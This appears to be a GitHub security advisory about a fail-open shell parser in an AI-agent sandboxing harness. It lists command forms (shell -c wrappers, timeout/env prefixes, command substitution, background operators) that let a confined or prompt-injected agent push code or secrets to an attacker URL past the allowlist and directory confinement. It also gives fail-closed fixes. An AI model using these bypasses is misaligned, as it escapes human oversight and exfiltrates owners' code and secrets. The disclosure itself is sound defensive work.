OSV 1.4.0 · github-reviewed · 修改于 2026-09-03 06:40
发布时间
2026-09-03 06:40
GitHub 审查时间
2026-09-03 06:40
NVD 发布时间
2026-08-22 02:16
源文件
advisories/github-reviewed/2026/09/GHSA-7mqg-cx4g-x2rf/GHSA-7mqg-cx4g-x2rf.json
Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon)
Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing"
Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)
The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.
A misaligned or prompt-injected agent that is meant to be confined can:
git push to an attacker-controlled repo (code / secret exfiltration),git worktree add / git -C <other-dir>.bash -lc "git push <attacker-url>"timeout / nice / setsid / stdbuf … git push …x=$(git push <attacker-url>)true & git push <attacker-url>Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and both .
env git push …Make the gated surface fail closed:
None → ALLOW. Abstain on a security gate should resolve to deny, not allow.timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.